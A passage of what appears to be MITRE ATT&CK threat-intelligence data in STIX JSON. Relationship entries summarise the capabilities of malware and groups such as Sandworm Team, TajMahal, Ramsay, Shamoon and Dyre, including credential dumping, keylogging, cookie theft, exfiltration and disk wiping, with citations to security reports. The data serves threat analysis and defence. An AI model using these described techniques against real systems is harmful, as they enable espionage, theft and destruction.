            "id": "relationship--b4016d43-d8c4-4ca2-b119-0681ebe8aaff",
            "type": "relationship",
            "modified": "2020-06-04T19:45:16.042Z",
            "created": "2020-06-04T19:45:16.042Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
                },
                {
                    "source_name": "objective-see windtail2 jan 2019",
                    "url": "https://objective-see.com/blog/blog_0x3D.html",
                    "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."
                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to enumerate the users home directory and the path to its own application bundle.(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--1fe64d85-29ca-4cf0-9b30-8d41ebad37fc",
            "type": "relationship",
            "modified": "2020-06-25T18:41:35.200Z",
            "created": "2020-06-04T19:45:16.047Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "objective-see windtail2 jan 2019",
                    "url": "https://objective-see.com/blog/blog_0x3D.html",
                    "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."
                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to receive and execute a self-delete command.(Citation: objective-see windtail2 jan 2019)",
            "relationship_type": "uses",
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                }
            ],
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                }
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            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal web session cookies from Internet Explorer, Netscape Navigator, FireFox and RealNetworks applications.(Citation: Kaspersky TajMahal April 2019)",
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                }
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            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to index and compress files into a send queue for exfiltration.(Citation: Kaspersky TajMahal April 2019)",
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                }
            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to index files from drives, user profiles, and removable drives.(Citation: Kaspersky TajMahal April 2019)",
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                }
            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to use the open source libraries XZip/Xunzip and zlib to compress files.(Citation: Kaspersky TajMahal April 2019)",
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                }
            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify which anti-virus products, firewalls, and anti-spyware products are in use.(Citation: Kaspersky TajMahal April 2019)",
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                }
            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify the Internet Explorer (IE) version on an infected host.(Citation: Kaspersky TajMahal April 2019)",
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                }
            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify connected Apple devices.(Citation: Kaspersky TajMahal April 2019)",
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            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify the MAC address on an infected host.(Citation: Kaspersky TajMahal April 2019)",
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            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool uses base64 encoding and HTML tags for the communication traffic between the C2 server.(Citation: ESET Telebots Dec 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--185020c6-9b2a-4b08-8936-7d407ea753b4",
            "type": "relationship",
            "modified": "2020-06-10T21:56:39.932Z",
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                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool can create an internal proxy server to redirect traffic from the adversary-controlled C2 to internal servers which may not be connected to the internet, but are interconnected locally.(Citation: ESET Telebots Dec 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--2050b131-d5e1-419c-ad85-660fba4004d7",
            "type": "relationship",
            "modified": "2020-06-18T20:24:20.645Z",
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        },
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
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                {
                    "source_name": "ESET Telebots Dec 2016",
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                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool connects to the designated C2 server via HTTP.(Citation: ESET Telebots Dec 2016)\t",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
                {
                    "source_name": "ESET Telebots July 2017",
                    "url": "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/",
                    "description": "Cherepanov, A.. (2017, July 4). Analysis of TeleBots\u2019 cunning backdoor . Retrieved June 11, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used backdoors that can delete files used in an attack from an infected system.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots July 2017)",
            "relationship_type": "uses",
            "id": "relationship--7867218e-78a0-41cf-ada0-8400285b8a1d",
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            ],
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
                {
                    "source_name": "ESET Telebots July 2017",
                    "url": "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/",
                    "description": "Cherepanov, A.. (2017, July 4). Analysis of TeleBots\u2019 cunning backdoor . Retrieved June 11, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s VBS backdoor can decode Base64-encoded data and save it to the %TEMP% folder. The group also decrypted received information using the Triple DES algorithm and decompresses it using GZip.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots July 2017)",
            "relationship_type": "uses",
            "id": "relationship--df98db39-fdfd-463c-96b3-e9a8b049f316",
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            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has sent system information to its C2 server using HTTP.(Citation: ESET Telebots Dec 2016)\t",
            "relationship_type": "uses",
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            ],
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            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used intercepter-NG to sniff passwords in network traffic.(Citation: ESET Telebots Dec 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--03f1e3ee-5c1b-4897-8631-d15ed48a0730",
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            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a tool to query Active Directory using LDAP, discovering information about usernames listed in AD.(Citation: ESET Telebots Dec 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--f6cf6ad8-7a42-4cf5-82ab-45d6a5107aeb",
            "type": "relationship",
            "modified": "2020-06-22T15:45:19.153Z",
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            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a keylogger to capture keystrokes by using the SetWindowsHookEx function.(Citation: ESET Telebots Dec 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--96c1ab08-b165-447b-afa7-5c1d30cd6219",
            "type": "relationship",
            "modified": "2020-06-18T20:24:21.119Z",
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        },
        {
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            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
                {
                    "source_name": "ESET Telebots June 2017",
                    "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
                    "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s plainpwd tool is a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) and dumps Windows credentials from system memory.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots June 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--b96e67e2-7d82-478e-8bf3-2e8acf8a14dd",
            "type": "relationship",
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        },
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            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s CredRaptor tool can collect saved passwords from various internet browsers.(Citation: ESET Telebots Dec 2016)",
            "relationship_type": "uses",
            "id": "relationship--6930c084-c02c-4278-8343-6a47fed4fdc0",
            "type": "relationship",
            "modified": "2020-06-10T21:56:40.105Z",
            "created": "2020-06-10T21:56:40.105Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--ea80c942-680d-43b4-9cbf-21f2078977ad",
            "type": "relationship",
            "modified": "2020-11-25T21:00:57.219Z",
            "created": "2020-06-10T21:56:40.113Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
                {
                    "source_name": "ESET Telebots June 2017",
                    "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
                    "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used the Telegram Bot API from Telegram Messenger to send and receive commands to its Python backdoor. [Sandworm Team](https://attack.mitre.org/groups/G0034) also used legitimate M.E.Doc software update check requests for sending and receiving commands and hosted malicious payloads on putdrive.com.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots June 2017)",
            "relationship_type": "uses",
            "id": "relationship--d66da21d-1a8c-4b32-b700-f1d3d938b57e",
            "type": "relationship",
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            "created": "2020-06-10T21:56:40.115Z"
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        {
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has avoided detection by naming a malicious binary explorer.exe.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--fed23938-8fbc-4b67-8452-f2f413eed291",
            "type": "relationship",
            "modified": "2020-11-25T21:00:57.830Z",
            "created": "2020-06-10T21:56:40.151Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has tricked unwitting recipients into clicking on spearphishing attachments and enabling malicious macros embedded within files.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
            "relationship_type": "uses",
            "id": "relationship--55fb787a-6622-43c7-a47d-48b4db7e8d81",
            "type": "relationship",
            "modified": "2020-11-30T19:38:30.045Z",
            "created": "2020-06-10T21:56:40.153Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "external_references": [
                {
                    "source_name": "US-CERT Ukraine Feb 2016",
                    "url": "https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01",
                    "description": "US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020."
                },
                {
                    "source_name": "ESET Telebots June 2017",
                    "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
                    "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."
                }
            ],
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used the [BlackEnergy](https://attack.mitre.org/software/S0089) KillDisk component to overwrite files on Windows-based Human-Machine Interfaces. (Citation: US-CERT Ukraine Feb 2016)(Citation: ESET Telebots June 2017)",
            "relationship_type": "uses",
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                    "description": "US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020."
                },
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                    "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
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                    "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."
                },
                {
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                    "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
                    "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."
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                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
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                    "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."
                },
                {
                    "source_name": "ESET Telebots Dec 2016",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/",
                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."
                },
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                    "source_name": "ESET Telebots June 2017",
                    "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
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                }
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                    "url": "https://www.secureworks.com/blog/notpetya-campaign-what-we-know-about-the-latest-global-ransomware-attack",
                    "description": "Counter Threat Research Team. (2017, June 28). NotPetya Campaign: What We Know About the Latest Global Ransomware Attack. Retrieved June 11, 2020."
                },
                {
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                    "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/",
                    "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."
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                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
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                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
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                    "description": "Cherepanov, A.. (2017, July 4). Analysis of TeleBots\u2019 cunning backdoor . Retrieved June 11, 2020."
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                }
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                }
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            ],
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            ],
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            ],
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                    "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."
                }
            ],
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                    "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html",
                    "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."
                }
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                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."
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                }
            ],
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                }
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                }
            ],
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to capture webcam video.(Citation: Kaspersky TajMahal April 2019)",
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            "id": "relationship--15c3f3a3-03c9-4591-a2d2-64b5eafbd4a7",
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                }
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                }
            ],
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                    "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/",
                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
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                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
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                    "source_name": "Antiy CERT Ramsay April 2020",
                    "url": "https://www.programmersought.com/article/62493896999/",
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                }
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            "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use [UACMe](https://attack.mitre.org/software/S0116) for privilege escalation.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t",
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                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
                }
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            "description": "[Ramsay](https://attack.mitre.org/software/S0458) can extract its agent from the body of a malicious document.(Citation: Eset Ramsay May 2020)\t",
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                    "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/",
                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
                }
            ],
            "description": "[Ramsay](https://attack.mitre.org/software/S0458) can store collected documents in a custom container after encrypting and compressing them using RC4 and WinRAR.(Citation: Eset Ramsay May 2020)",
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                    "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."
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            "description": "[Ramsay](https://attack.mitre.org/software/S0458) has masqueraded as a JPG image file.(Citation: Eset Ramsay May 2020)",
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            "description": "[Ramsay](https://attack.mitre.org/software/S0458) can collect data from removable media and stage it for exfiltration.(Citation: Eset Ramsay May 2020)\t",
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                    "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."
                }
            ],
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) can impersonate tokens using <code>LogonUser</code>, <code>ImpersonateLoggedOnUser</code>, and <code>ImpersonateNamedPipeClient</code>.(Citation: McAfee Shamoon December 2018)",
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                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "source_name": "Unit 42 Shamoon3 2018"
                },
                {
                    "source_name": "McAfee Shamoon December 2018",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/",
                    "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."
                }
            ],
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) will reboot the infected system once the wiping functionality has been completed.(Citation: Unit 42 Shamoon3 2018)(Citation: McAfee Shamoon December 2018)\t",
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                {
                    "source_name": "McAfee Shamoon December 2018",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/",
                    "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."
                }
            ],
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                {
                    "source_name": "Forbes Dyre May 2017",
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                    "description": "Brewster, T. (2017, May 4). https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a. Retrieved June 15, 2020."
                },
                {
                    "source_name": "CrowdStrike Wizard Spider March 2019",
                    "url": "https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/",
                    "description": "Feeley, B. and Stone-Gross, B. (2019, March 20). New Evidence Proves Ongoing WIZARD SPIDER / LUNAR SPIDER Collaboration. Retrieved June 15, 2020."
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                    "source_name": "Malwarebytes TrickBot Sep 2019",
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
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                }
            ],
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
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                }
            ],
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
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                }
            ],
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
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                }
            ],
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."
                }
            ],
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
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                }
            ],
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."
                }
            ],
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
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                }
            ],
            "description": "[Dyre](https://attack.mitre.org/software/S0024) has the ability to achieve persistence by adding a new task in the task scheduler to run every minute.(Citation: Malwarebytes Dyreza November 2015)",
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
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                }
            ],
            "description": "[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify the computer name, OS version, and hardware configuration on a compromised host.(Citation: Malwarebytes Dyreza November 2015)",
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            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "external_references": [
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."
                }
            ],
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                    "url": "https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/",
                    "description": "Eisenkraft, K., Olshtein, A. (2019, October 17). Pony\u2019s C&C servers hidden inside the Bitcoin blockchain. Retrieved June 15, 2020."
                },
                {
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                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047)'s malware can take screenshots of the compromised computer every minute.(Citation: ESET Gamaredon June 2020)\t",
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            "type": "relationship",
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            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has collected files from infected systems and uploaded them to a C2 server.(Citation: ESET Gamaredon June 2020)",
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            "external_references": [
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware can insert malicious macros into documents using a <code>Microsoft.Office.Interop</code> object.(Citation: ESET Gamaredon June 2020)\t",
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            "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
